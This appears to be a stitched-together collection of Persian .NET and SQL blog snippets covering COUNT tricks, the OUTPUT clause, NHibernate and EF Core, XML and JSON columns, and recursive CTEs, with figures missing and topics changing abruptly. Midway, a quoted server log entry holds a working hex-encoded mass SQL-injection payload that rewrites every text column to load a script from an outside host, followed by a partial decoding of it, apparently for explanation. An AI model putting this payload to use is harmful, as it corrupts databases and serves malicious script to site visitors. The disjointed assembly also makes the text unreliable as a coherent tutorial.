اطلاعات بیشتر
Create Table Test(ID int,Firstname varchar(20)); Insert Into Test (ID,Firstname) Values(1,'K'); Insert Into Test (ID,Firstname) Values(2,'B'); Insert Into Test (ID) Values(3);
Select COUNT(*) From Test
Select COUNT(Firstname) From Test
select count(cast(null as int)) select count(*) where 'a'='b' select € select ¥ select £ Select $ select count(*)-count(*) select Ascii('A')-Ascii('A') select LEN('')
(a+b)+ABS(a-b)
0.5(a+b)+ABS(a-b)
DECLARE @Value1 DECIMAL(5,2) = 80.22 DECLARE @Value2 DECIMAL(5,2) =90.34 SELECT (0.5 * ((@Value1 + @Value2) + ABS(@Value1 - @Value2))) AS MaxColumn
DECLARE @Value1 DECIMAL(5,2) = 9.22 DECLARE @Value2 DECIMAL(5,2) = 8.34 SELECT CASE WHEN @Value1 > @Value2 THEN @Value1 ELSE @Value2 END AS MaxColumn
در این روش اگر مقدار یکی از اعداد Null باشد،ماکزیمم بین دو عدد، عدد غیر Null میباشد.
5- مشاهده مشخصات کلیه دیتابیسهای موجود در SQL Server با استفاده از Sys.Databases .
Select * From sys.databases
خروجی بصورت زیر خواهد بود:
6- بوسیله دستور OUTPUT میتوان خروجی Queryهای Delete،Update و Insert را مشاهده نمود:
مثال اول برای Query Delete :
در شکل، تک رکورد حذف شده را مشاهده مینمایید.
مثال دوم برای Query Update بصورت زیر میباشد:
در شکل، مقدار A، مقدار جدیدی است که بروز رسانی شده است و مقدار B مقداری است که مربوط به قبل از بروز رسانی میباشد.
مثال سوم برای Query Insert بصورت زیر میباشد:
موفق باشید.
using System.Xml.Linq;
namespace TestModel
{
public class DynamicTable
{
public virtual int Id { get; set; }
public virtual XDocument Document { get; set; }
}
}
using FluentNHibernate.Automapping;
using FluentNHibernate.Automapping.Alterations;
using NHibernate.Type;
namespace TestModel
{
public class DynamicTableMapping : IAutoMappingOverride<DynamicTable>
{
public void Override(AutoMapping<DynamicTable> mapping)
{
mapping.Id(x => x.Id);
mapping.Map(x => x.Document).CustomType<XDocType>();
}
}
}
if exists (select * from dbo.sysobjects
where id = object_id(N'[DynamicTable]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
drop table [DynamicTable]
create table [DynamicTable] (
Id INT IDENTITY NOT NULL,
Document XML null,
primary key (Id)
)
//insert
object savedId = 0;
using (var session = sessionFactory.OpenSession())
{
using (var tx = session.BeginTransaction())
{
var obj = new DynamicTable
{
Document = System.Xml.Linq.XDocument.Parse(
@"<Doc><Node1>Text1</Node1><Node2>Text2</Node2></Doc>"
)
};
savedId = session.Save(obj);
tx.Commit();
}
}
//simple query
using (var session = sessionFactory.OpenSession())
{
using (var tx = session.BeginTransaction())
{
var entity = session.Get<DynamicTable>(savedId);
if (entity != null)
{
Console.WriteLine(entity.Document.Root.ToString());
}
tx.Commit();
}
}
//advanced query
using (var session = sessionFactory.OpenSession())
{
using (var tx = session.BeginTransaction())
{
var list = session.CreateSQLQuery("select [Document].value('(//Doc/Node1)[1]','nvarchar(255)') from [DynamicTable] where id=:p0")
.SetParameter("p0", savedId)
.List();
if (list != null)
{
Console.WriteLine(list[0]);
}
tx.Commit();
}
}
<?xml version="1.0" encoding="UTF-8"?>
<cal1388>
<day>
<num>1/1</num>
<desc>عید نوروز، لحظه تحویل سال:ساعت 15 و 13 دقیقه و 39 ثانیه </desc>
</day>
</cal1388>
SELECT '1388' saal,
X.day.query('num').value('.', 'nVARCHAR(50)') rooz_maah,
X.day.query('desc').value('.', 'nVARCHAR(max)') tozih
FROM (
SELECT CAST(x AS XML)
FROM OPENROWSET(
BULK
'c:\1388.xml',
SINGLE_BLOB
) AS T(x)
) AS T(x)
CROSS APPLY x.nodes('cal1388/day') AS X(day);
DECLARE @MyXML XML
SELECT @MyXML = CAST(x AS XML)
FROM OPENROWSET(
BULK
'c:\1388.xml',
SINGLE_BLOB
) AS T(x)
SELECT 1388 saal,
nref.value('num[1]', 'nvarchar(50)') rooz_maah,
nref.value('desc[1]', 'nvarchar(max)') tozih
FROM @MyXML.nodes('//day') AS R(nref)
DECLARE @MyXML XML
DECLARE @handle INT
SELECT @MyXML = CAST(x AS XML)
FROM OPENROWSET(
BULK
'c:\1388.xml',
SINGLE_BLOB
) AS T(x)
EXEC sp_xml_preparedocument @handle OUTPUT,
@MyXML
SELECT 1388 saal,
*
FROM OPENXML(@handle, '/cal1388/day', 2) WITH
(num VARCHAR(20), [desc] NVARCHAR(MAX))
EXEC sp_xml_removedocument @handle
INSERT INTO tblMonasebat
(
saal,
rooz_mah,
tozih
)
SELECT '1388' saal,
nref.value('num[1]', 'nvarchar(50)') rooz_maah,
nref.value('desc[1]', 'nvarchar(max)') tozih
FROM @MyXML.nodes('//day') AS R(nref)
var members = context.Members .Select(member => new { Name = member.Surname + ", " + member.FirstName }) .ToList();
var facilities = context.Facilities .Where(facility => facility.Name.StartsWith("Tennis")) .ToList();
var members = context.Members .Select(member => new { member.MemId, member.Telephone }) .Where(member => member.Telephone.Contains("(") && member.Telephone.Contains(")")) .ToList();
members = context.Members .Select(member => new { member.MemId, member.Telephone }) .Where(member => EF.Functions.Like(member.Telephone, "%[()]%")) .ToList();
SELECT CONVERT (NVARCHAR (MAX), [m].[ZipCode]) AS [Zip] FROM [Members] AS [m] ORDER BY CONVERT (NVARCHAR (MAX), [m].[ZipCode]);
var members = context.Members .Select(member => new { ZipCode = Convert.ToString(member.ZipCode) }) .OrderBy(m => m.ZipCode) .ToList(); // Now using LINQ to Objects members = members.Select(member => new { ZipCode = member.ZipCode.PadLeft(5, '0') }) .OrderBy(m => m.ZipCode) .ToList();
namespace EFCorePgExercises.Utils { public static class SqlDbFunctionsExtensions { public static string SqlReplicate(string expression, int count) => throw new InvalidOperationException($"{nameof(SqlReplicate)} method cannot be called from the client side."); private static readonly MethodInfo _sqlReplicateMethodInfo = typeof(SqlDbFunctionsExtensions) .GetRuntimeMethod( nameof(SqlDbFunctionsExtensions.SqlReplicate), new[] { typeof(string), typeof(int) } ); public static void AddCustomSqlFunctions(this ModelBuilder modelBuilder) { modelBuilder.HasDbFunction(_sqlReplicateMethodInfo) .HasTranslation(args => { return SqlFunctionExpression.Create("REPLICATE", args, _sqlReplicateMethodInfo.ReturnType, typeMapping: null); }); } } }
namespace EFCorePgExercises.DataLayer { public class ApplicationDbContext : DbContext { // ... protected override void OnModelCreating(ModelBuilder modelBuilder) { // ... modelBuilder.AddCustomSqlFunctions(); // ... } } }
var newMembers = context.Members .Select(member => new { ZipCode = SqlDbFunctionsExtensions.SqlReplicate( "0", 5 - Convert.ToString(member.ZipCode).Length) + member.ZipCode }) .OrderBy(m => m.ZipCode) .ToList();
var members = context.Members .Select(member => new { Letter = member.Surname.Substring(0, 1) }) .GroupBy(m => m.Letter) .Select(g => new { Letter = g.Key, Count = g.Count() }) .OrderBy(r => r.Letter) .ToList();
select memid, regexp_replace(telephone, '[^0-9]', '', 'g') as telephone from members order by memid;
var members = context.Members .Select(member => new { member.MemId, Telephone = member.Telephone.Replace("-", "") .Replace("(", "") .Replace(")", "") .Replace(" ", "") }) .OrderBy(r => r.MemId) .ToList();
Log Entry :
Error Raw Url :/show.aspx?id=15;DECLARE%20@S%20CHAR(4000);SET%20@S=
CAST(0x4445434C415245204054207661726368617228323535292C404
32076617263686172283430303029204445434C415245205461626C655F4375727
36F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616
D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E
642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78
747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3
02920424547494E20657865632827757064617465205B272B40542B275D20736574205B
272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B4
0432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6
A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20
205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
IP=120.129.71.187
vahidnasiri.blogspot.com
DECLARE @T varchar(255),
@C varchar(4000)
DECLARE Table_Cursor CURSOR
FOR
SELECT a.name,
b.name
FROM sysobjects a,
syscolumns b
WHERE a.id = b.id
AND a.xtype = 'u'
AND (
b.xtype = 99
OR b.xtype = 35
OR b.xtype = 231
OR b.xtype = 167
)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
.....CREATE TABLE EmployeeJsonAttributes ( Id int NOT NULL AUTO_INCREMENT, EmployeeId int NOT NULL, Attributes json DEFAULT NULL, PRIMARY KEY (Id), FOREIGN KEY (EmployeeId) REFERENCES EmployeeEav (Id) ON DELETE CASCADE )
INSERT INTO EmployeeJsonAttributes VALUES ( 101, '{ "name": "Jon", "lastName": "Doe", "dateOfBirth": "1989-01-01 10:10:10+05:30", "skills": [ "C#", "JS" ], "address": { "country": "UK", "city": "London", "email": "jon.doe@example.com" } }' ) INSERT INTO efcoresample.EmployeeJsonAttributes VALUES ( 101, JSON_OBJECT( "name", "Jon", "lastName", "Doe", "dateOfBirth", "1989-01-01 10:10:10+05:30", "skills", JSON_ARRAY("C#", "JS"), "address", JSON_OBJECT( "country", "UK", "city", "London", "email", "jon.doe@example.com" ) ) )
SELECT JSON_EXTRACT(Attributes, '$.address.country') as Country FROM EmployeeJsonAttributes WHERE EmployeeId = 101; -- Conutry -- "UK"
SELECT Attributes -> '$.address.country' as Country FROM EmployeeJsonAttributes WHERE EmployeeId = 101; -- Conutry -- "UK"
SELECT EmployeeId, Attributes ->> '$.DateOfBirth' AS BirthDate FROM EmployeeJsonAttributes WHERE Attributes ->> '$.DateOfBirth' > DATE_SUB(CURRENT_DATE(), INTERVAL 25 YEAR)
// Fluent API protected override void OnModelCreating(ModelBuilder modelBuilder) { modelBuilder.Entity<Employee>(entity => { entity.Property(e => e.Attributes).HasColumnType("json"); }); } // Data Annotations [Column(TypeName = "json")] public string Attributes { get; set; }
public class EmployeeJsonAttribute { public int Id { get; set; } public virtual EmployeeEav Employee { get; set; } public int EmployeeId { get; set; } [Column(TypeName = "json")] public string Attributes { get; set; } }
dbContext.EmployeeJsonAttributes.Add(new EmployeeJsonAttribute { EmployeeId = 101, Attributes = JsonSerializer.Serialize(new { FirstName = "Sirwan", LastName = "Afifi", DateOfBirth = DateTime.Now.AddYears(-31) }) }); dbContext.SaveChanges();
var employee = dbContext.EmployeeJsonAttributes.Find(201); Console.WriteLine(JsonSerializer.Deserialize<Employee>(employee.Attributes).DateOfBirth);
DECLARE @Table TABLE( ID INT, ParentID INT, NAME VARCHAR(20) ) INSERT INTO @Table (ID,ParentID,[NAME]) SELECT 1, NULL, 'A' INSERT INTO @Table (ID,ParentID,[NAME]) SELECT 2, 1, 'B-1' INSERT INTO @Table (ID,ParentID,[NAME]) SELECT 3, 1, 'B-2' INSERT INTO @Table (ID,ParentID,[NAME]) SELECT 4, 2, 'C-1' INSERT INTO @Table (ID,ParentID,[NAME]) SELECT 5, 2, 'C-2' DECLARE @ID INT SELECT @ID = 2 ;WITH ret AS( SELECT* FROM@Table WHEREID = @ID UNION ALL SELECTt.* FROM@Table t INNER JOIN ret r ON t.ParentID = r.ID ) SELECT * FROM ret